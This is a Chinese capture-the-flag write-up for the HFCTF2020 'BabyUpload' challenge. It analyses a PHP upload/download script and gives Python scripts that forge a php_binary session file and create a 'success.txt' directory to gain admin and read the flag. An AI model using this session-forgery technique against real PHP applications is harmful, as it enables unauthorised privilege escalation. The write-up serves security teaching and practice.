目录
[HFCTF2020]BabyUpload
题目源码
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
} elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
?>
首先分析源码
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
设置session的存储路径,启动了session而且包含了根目录下的flag
if($_SESSION['username'] ==='admin')
{
$filename='/var/babyctf/success.txt';
if(file_exists($filename)){
safe_delete($filename);
die($flag);
}
}
else{
$_SESSION['username'] ='guest';
}
判断如果session的username的值是admin的话就判断session存储路径下有没有success.txt。如果有的话就出flag,
否则的话session的username设置为guest。
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
$dir_path .= "/".$_SESSION['username'];
}
两个参数通过filter_input协议,然后通过拼接,然后作为session的存储地址
if($direction === "upload"){
try{
if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
throw new RuntimeException('invalid upload');
}
$file_path = $dir_path."/".$_FILES['up_file']['name'];
$file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
@mkdir($dir_path, 0700, TRUE);
if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
$upload_result = "uploaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$upload_result = $e->getMessage();
}
}
如果direction设置为upload,首先判断是否正常上传,通过则在$dir_path
下拼接文件名,之后再拼接一个_
,同时加上文件名的sha256值,之后限制目录穿越,创建相应目录,把文件上传到目录下。
elseif ($direction === "download") {
try{
$filename = basename(filter_input(INPUT_POST, 'filename'));
$file_path = $dir_path."/".$filename;
if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
throw new RuntimeException('invalid file path');
}
if(!file_exists($file_path)) {
throw new RuntimeException('file not exist');
}
header('Content-Type: application/force-download');
header('Content-Length: '.filesize($file_path));
header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
if(readfile($file_path)){
$download_result = "downloaded";
}else{
throw new RuntimeException('error while saving');
}
} catch (RuntimeException $e) {
$download_result = $e->getMessage();
}
exit;
}
若direction设置为download,读取上传上来的文件名,拼接为$file_path
,限制目录穿越,判断是否存在,存在则返回文件内容。
解题思路
首先,拿到flag的条件是:
- 存在success.txt
- 必须以session的username为admin来登陆。
session反序列化
首先看自己的session的值,根据session命名原则,上传post
direction=download&attr=&filename=sess_1052c239c317b686232626f592e7affd
看到回显,但是前面有个不可见字符,这个和session的反序列化机制有关
参考链接:https://blog.spoock.com/2016/10/16/php-serialize-problem/
php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
可以知道这个这里session处理器为php_binary。
最简单的办法就是直接根据反序列化的编码,来修改一下就行了。
然后根据命名规则,改一下名字为sess,上传上去之后,文件名会变成sess_sha256(\x08usernames:5:"admin";)
也就是sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
下面直接写一个python脚本上传
from io import BytesIO
import requests
url = 'http://5cccf25a-3090-4b27-aa5f-4e20f9e8b889.node4.buuoj.cn:81/'
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
'direction':'upload',
'attr':''
}
res = requests.post(url, data=data ,files=files)
print(res.text)
再下载发现上传成功了
上传success.txt
filename是通过file_exists来判断的,而file_exists函数在php中
文件名设置不了,直接创建目录也符合条件,将attr
设置为success.txt创建目录,再将sess上传到该目录下即可绕过判断
还是用那个脚本,只不过将attr设置为success.txt即可
from io import BytesIO
import requests
url = 'http://5cccf25a-3090-4b27-aa5f-4e20f9e8b889.node4.buuoj.cn:81/'
files = {"up_file": ("sess", BytesIO('\x08usernames:5:"admin";'.encode('utf-8')))}
data = {
'direction':'upload',
'attr':'success.txt'
}
res = requests.post(url, data=data ,files=files)
print(res.text)
再验证上传是否成功
最后修改session再成432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4然后访问即可
Comments | NOTHING